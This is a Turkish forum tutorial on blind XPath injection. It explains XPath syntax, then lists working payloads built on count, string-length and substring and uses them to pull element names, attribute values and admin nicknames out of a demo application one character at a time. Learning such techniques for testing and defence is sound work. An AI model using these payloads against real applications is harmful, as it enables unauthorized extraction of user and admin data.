Blind XPath Injection

Cezeri

Yönetici
→ XPath nedir ?
→ Blind XPath Injection
→ Demo Uygulama

1) XPath Nedir ?

XPath, XML dökümanlar içerisinde ki değişkenleri, değerleri sorgulayabilmek için kullanılan bir sorgulama dilidir denebilir.

XPath içerisinde bilmemiz gereken bazı “terimler” bulunmaktadır, bunlara hızlı bi göz atalım ;
  • element = “XML Elemanı”
  • attribute = “Elemanın Özelliği”
  • text = “Elemanın Değeri”
0b8c1a02fbc97d0d8924e6e8870071b43451efc4.png

Yukarıda ki XML dökümanına göz atarsanız “element” , “attribute” ve “value” gibi tanımlamaları daha kolay anlayabilirsiniz.


Veri Seçimi Nasıl Yapılır ? ;
Kod:
 /                  | Root element üzerinden seçim yapar                                          |
 /vvHack            | vvHack root element üzerinden seçim yapar                                   |
 //admin            | "Root veya değil" ayrımı yapmadan tüm "admin" element üzerinden seçim yapar |
 //admin/*          | "admin" elemanı üzerindeki tüm attributeları seçer                          |
 //admin/…/…/vvHack | "…" ile üst elemana geçiş yapıp seçim yapar                                 |
 //admin[@id=1]     | admin elemanının "id" attribute seçimini yapar                              |

Bilinmesi gereken bazı fonksiyonlar ;
Kod:
 string             | Element içeriğini stringe çevirir.             |
 string-length      | Stringin karakter sayısını verir.              |
 count              | Eleman sayısını verir.                         |
 substring          | Belirli aralıkta karakteri verir.              |
 name               | Eleman ismini verir.                           |



2) Blind XPath Injection

Yukarıda ki teorik bilgiler sıkıcı gelsede “Injection” aşamasında yukarıdaki bilgilerimizi kullanarak sonuçlara ulaşacağız.

' or count(/*)='1 payloadı ile root eleman sayısını bulacağız.
' or string-length(name(/*[1]))='6 payloadı ile root elemanın kaç karakterli olduğunu bulacağız.
' or substring(name(/*[1]),1,6)='vvHack payloadı ile root elemanımızın değerini öğreneceğiz.
' or substring(name(/*[1]/*[1]),1,5)='admin payloadı ile vvHack root elemanımızın 1. elamanın “admin” olduğunu öğreneceğiz.
' or substring(name(/*[1]/*[1]/@*[1]),1,2)='id payloadı ile admin elemanının attribute adının “id” olduğunu öğreneceğiz.
' or substring(/*[1]/*[1]/@*[1],1,1)='1 payloadı ile “id” attribute değerini elde edeceğiz.
' or substring(/*[1]/*[1]/*[1]/text(),1,7)='jonturk payloadı ile nickname değerimizi elde ediyoruz.
' or substring(/*[1]/*[2]/*[1]/text(),1,10)='rootdevilz payloadı ile 2. kişiyi çekiyoruz.
' or substring(/*[1]/*[1]/*[2]/text(),1,1)='J payloadı ile jonturk’un kisa attribute değerini elde ediyoruz.

NOT : Payloadları inceleyerek, count - name - string-length - substring gibi fonksiyonlarımızın nasıl kullanıldığı anlamaya çalışınız. Konu fazla uzun olmaması adına bazılarının karakter sayısı veya değerlerin nasıl çekildiğini detaylıca tek tek eklemedim.

Şimdi hedefimiz üzerinden devam edelim. Tırnak işareti ile içeriğimizin değiştiğini görebiliyoruz. Bu değişiklikten anlaşılacak konu “TRUE” sorgularda id değerimiz geliyor, “FALSE” sorgularda id değerimiz kayboluyor.

c0e44a7c6d91fcf9a5f0474f1a8c5efd9f3642a6.png

0debf334b625ef44d9e2aba3c3bc8d08f426806b.png



Şimdi ’ or count(/*)='1 payloadı ile kaç adet root eleman olduğunu buluyoruz. Bizim 1 adet (vvHack) root elemanımız olduğundan dolayı sonuç true dönüyor. Normal şartlarda bu 1 sayısını arttırıp azaltarak kaç adet root eleman olduğunu bulmanız gerekiyor.

97f31cf39324f2ac9a1c92a761a27676c528bf1a.png


1 adet root elemanımız olduğunu doğruladık. Bu root elemanımızın kaç harfli olduğunu öğrenmek için ’ or string-length(name(/*[1]))='6 payloadı ile 6 harfli olduğunu doğruluyoruz.

744095f0eda32b077710430d30e81a8f56b927e0.png


Evet 6 karakterli bir root eleman olduğunu da doğruladık ve şimdi bu root elemanın ismini öğrenelim.

Bu amaçla
’ or substring(name(/*[1]),1,1)='v
’ or substring(name(/*[1]),2,1)='v
’ or substring(name(/*[1]),3,1)='H

şeklinde payload kullanıyoruz.

9466a42d34c77023194238a18d4a37fd7ce60c84.png


Daha sonra diğer karakterleri çekiyoruz ve tüm sonuca ulaşıyoruz.

8af172ec734a115655e14954e6977247706f982e.png


vvHack adında root eleman olduğunu öğrendik. Buradan 1.elemanı çekiyoruz.

48476122c3ca472fa2fda39c2452f6f9a637da70.png


1.elemanın adı “admin” ve şimdi bu admin elemanı üzerinden 1. attribute değerinin “id” olduğunu buluyoruz.

e927a6dbb4961d5f00c1d3b4b92db933a8953684.png


id” attribute değerinin 1 olduğunu çekiyoruz ;

630758f117f2413f70075db066b1bef1437c5742.png


Şimdi 1. “nickname” attribute değerinin “jonturk” olduğunu görelim ;

1037f41c5e91474612392c0928efbe8717d33079.png


İkinci admin elemanın “nickname” değerinin “rootdevilz” olduğunu görelim ;

a57da336c3726b8b1051328ffd99d98fbaac090f.png





3) Demo Uygulama

Kullanılan Exploit ;

4748b015b288a440dedcec2ac2ce2a381301a57f.png


Faydalanabileceğiniz güzel bir ek kaynak ; @baba
http://ha.cker.io/dc48119080fa36fa74a10787045eea2e
 
Üst